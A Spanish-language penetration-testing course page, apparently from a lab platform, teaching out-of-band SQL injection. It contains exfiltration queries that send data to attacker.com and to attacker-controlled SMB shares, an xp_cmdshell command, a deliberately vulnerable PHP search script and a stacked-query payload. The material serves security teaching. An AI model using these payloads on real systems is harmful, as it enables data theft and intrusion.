XUT_ / COURSES / PENETRATION TESTER

Out-of-band SQL Injection

La inyección SQL out-of-band (OOB) es una técnica de ataque que se usa para exfiltrar información o ejecutar acciones maliciosas cuando los métodos tradicionales resultan poco efectivos. Al contrario que la in-band SQLi, donde se usa el mismo canal para el ataque y la obtención de información, en la OOB SQLi se usan canales separados para mandar el payload y recibir la respuesta. Las técnicas de OOB SQLi usan funcionalidades como peticiones HTTP, queries DNS, protocolo SMB u otros protocolos de red a los que el servidor de la base de datos tenga acceso, habilitando a que los atacantes puedan circunvalar firewalls, IDSs y otras medidas de seguridad.

process flow of OOB injection

Una de las ventajas principales es el sigilo y confiabilidad. Usando diferentes canales de comunicación los atacantes minimizan el riesgo de detección y mantienen una conexión persistente. Por ejemplo, el atacante puede inyectar un payload SQL que dispare una petición DNS desde el servidor de la base de datos hasta el servidor de un atacante.


¿Por qué usar OOB?

En escenarios donde la respuesta directa está sanitizada o limitada por medidas de seguridad, OOB habilita que los atacantes puedan exfiltrar información sin feedback inmediato del servidor. Por ejemplo, los mecanismos de seguridad como procedimientos almacenados, encoding de output y restricciones a nivel de aplicación pueden prevenir respuestas directas, haciendo los ataques de inyección SQL tradicionales ineficientes. Las técnicas de OOB como peticiones HTTP o DNS permiten que la información sea mandada circunvalando las medidas de protección.

Además, los IDSs y WAFs generalmente monitorizan y registran las respuestas SQL en busca de actividad sospechosa, bloqueando respuestas directas. Usando los dos canales de la OOB, los atacantes pueden evitar este tipo de detección usando protocolos de red menos buscados como DNS o SMB. Particularmente efectivo cuando la conectividad entre el atacante y el servidor es limitada, como si este tiene un firewall o está en otro segmento de red.


Técnicas en Diferentes Bases de Datos

Los ataques de inyección SQL OOB utilizan la metodología de escribir en otro canal de comunicación a través de una query construida. Esta técnica es efectiva para exfiltrar información o realizar acciones maliciosas cuando la interacción con la base de datos está restringida. Hay múltiples comandos en la base de datos que pueden permitir exfiltración pero debajo hay una list de los más usados en varios sistemas de bases de datos.

MySQL y MariaDB

En MySQL o MariaDB, la inyección SQL OOB puede ser alcanzada usando SELECT ... INTO OUTFILE o el comando load_file. Este comando permite a los atacantes escribir los resultados de una query en un archivo en el sistema de archivos. Por ejemplo:

SQL
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';

Un atacante puede después acceder a este archivo mediante SMB share o un servidor HTTP que corra en el servidor.

Microsoft SQL Server (MSSQL)

En MSSQL, la inyección SQL OOB puede realizarse usando funcionalidades como xp_cmdshell, la cual permite la ejecución de comandos de consola directamente de queries SQL. Esto puede ser usado para escribir la información en un archivo accesible a través de una network share:

sql
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';

Alternativamente, OPENROWSET o BULK INSERT pueden ser usados para interactuar con las fuentes de información externas, facilitando la exfiltración a través de canales OOB.

Oracle

En las bases de datos Oracle, OOB SQLi se ejecuta usando los paquetes UTL_HTTP o UTF_FILE. Por ejemplo, el paquete UTL_HTTP puede ser usado para mandar peticiones HTTP con información sensible.

sql
DECLARE
  req UTL_HTTP.REQ;
  resp UTL_HTTP.RESP;
BEGIN
  req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
  UTL_HTTP.GET_RESPONSE(req);
END;

Ejemplos de Técnicas Out-Of-Band SQLi

Las técnicas de OOB SQLi en MySQL y MariaDB pueden utilizar varios protocolos de red para exfiltrar datos. Los métodos primarios incluyen exfiltración DNS, peticiones HTTP y shares SMB. Cada una de estas puede ser aplicada dependiendo de las capabilities del entorno MySQL/MariaDB y el setup de red.

Peticiones HTTP

Usando funciones de bases de datos que permiten peticiones HTTP, los atacantes pueden mandar información sensible directamente a un servidor web que controlan. Este método explota las funcionalidades de la base de datos que pueden dirigir hacia fuera las conexiones HTTP. Aunque MySQL y MariaDB no soportan peticiones HTTP de forma nativa puede hacerse mediante scripts externos o UDFs (User Defined Functions) si la base de datos lo permite.

Primero, la UDF necesita ser creada e instalada para soportar peticiones HTTP. Este setup es complejo y suele involucrar configuración adicional. Una query de ejemplo sería así: SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;. La exfiltración mediante peticiones HTTP puede ser implementada en Windows y Linux dependiendo del soporte de la base de datos de scripts externos o UDFs que las permitan.

Exfiltración DNS

Los atacantes pueden usar queries SQL para generar peticiones DNS con información encodeada, la cual se manda a un servidor DNS malicioso. Esta técnica sobrepasa filtros de monitorización basados en HTTP y se aprovecha de la capacidad de la base de datos para realizar lookups DNS.

Como ya hemos hablado, MySQL no tiene soporte nativo para generar peticiones DNS a través de únicamente comandos SQL. Los atacantes pueden usar otros medios para conseguirlo como UDFs o scripts de sistema para realizar consultas DNS.

Exfiltración SMB

Involucra escribir los resultados de la query en una share SMB en un servidor externo. Esta técnica es particularmente efectiva en entornos Windows pero también puede configurarse en sistemas Linux con el setup indicado. Un ejemplo de la query se vería así: SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';.

Esto está completamente soportado ya que Windows soporta nativamente las rutas SMB/UNC. Aunque las rutas SMB son más nativas de Windows, las shares SMB pueden montarse y ser accedidas usando herramientas como smbclient o montándolas en un directorio local. Usar directamente rutas UNC en queries SQL puede requerir setup adicional o scripts para facilitar la interacción.


Ejemplo Práctico

En este escenario práctico, demostraremos cómo un atacante puede exfiltrar información de una aplicación web vulnerable usando una técnica de inyección SQL OOB. El lado del servidor contiene una vulnerabilidad de inyección SQL la cual permite construir un payload que escribe los resultados de la query en una share SMB externa.

Explicación del Escenario

En este escenario, habilitaríamos una network share en ATTACKBOX_IP\logs. Esta share es accesible a través de la red y permite que archivos de otras máquinas sean escritos en ella. Para hacer esto, arrancamos la AttackBox y ejecutamos lo siguiente:

  1. Navegamos hasta el directorio impacket usando cd /opt/impacket/examples.
  2. Introducimos el comando python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp.
  3. Puedes acceder a los contenidos de la network share introduciendo el comando smbclient //ATTACKBOX_IP/logs -U guest -N. Esto te permite conectarte a la network share y ahí puedes usar ls para listar todos los comandos.

Tenemos la misma aplicación web con una funcionalidad de búsqueda. El código del lado del servidor para esta funcionalidad es vulnerable a inyección SQL y puedes acceder a él en http://10.65.188.152/oob/search_visitor.php?visitor_name=Tim.

Out-of-band SQL Injection

El código del servidor se ve así:

php
$visitor_name = $_GET['visitor_name'] ?? '';

$sql = "SELECT * FROM visitor WHERE name = '$visitor_name'";

echo "<p>Generated SQL Query: $sql</p>";

// Execute multi-query
if ($conn->multi_query($sql)) {
    do {
        // Store first result set
        if ($result = $conn->store_result()) {
            if ($result->num_rows > 0) {
                while ($row = $result->fetch_assoc()) {

Consideración Importante

Es importante saber que la variable de sistema MySQL secure_file_priv puede estar configurada. Cuando lo está, esta variable contiene la ruta del directorio, y MySQL sólo permite que los archivos se escriban en ese directorio. Esta medida de seguridad ayuda a mitigar el riesgo de operaciones de archivo no autorizadas.

  • Cuando secure_file_priv está configurada: MySQL restringirá las operaciones de archivos como INTO OUTFILE al directorio especificado. Esto significa que los atacantes no podrán exfiltrar a localizaciones arbitrarias.
  • Cuando secure_file_priv no está configurada: Si la variable secure_file_priv está vacía, MySQL no impone restricciones de directorio, permitiendo que los archivos sean escritos a cualquier directorio accesible por el proceso del servidor MySQL.

Los atacantes no suelen tener acceso al valor de la variable secure_file_priv. Como resultado, deben confiar en métodos de prueba y error para determinar si pueden y dónde pueden escribir archivos, comprobando varias rutas.

Preparando el Payload

Para explotar esta vulnerabilidad el atacante configura un payload para inyectar en el parámetro visitor_name. El payload será diseñado para ejecutar una query SQL adicional que escriba la versión de la base de datos a una share SMB externa.

sql
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --

Diseccionemos el payload:

  • 1': Cierra la string original en la query SQL.
  • ;: Termina el primer statement SQL.
  • SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt';: Ejecuta un nuevo statement SQL que devuelve la versión de la base de datos y la escribe en una share SMB en \\ATTACKBOX_IP\logs\output.txt.
  • --: Comenta el resto de la query SQL original para prevenir errores de sintaxis.

Para utilizar el payload, el atacante visitaría la URL que crea un archivo en la share SMB externa.

Para acceder al archivo usa ls /tmp para ver el archivo recibido en el directorio /tmp.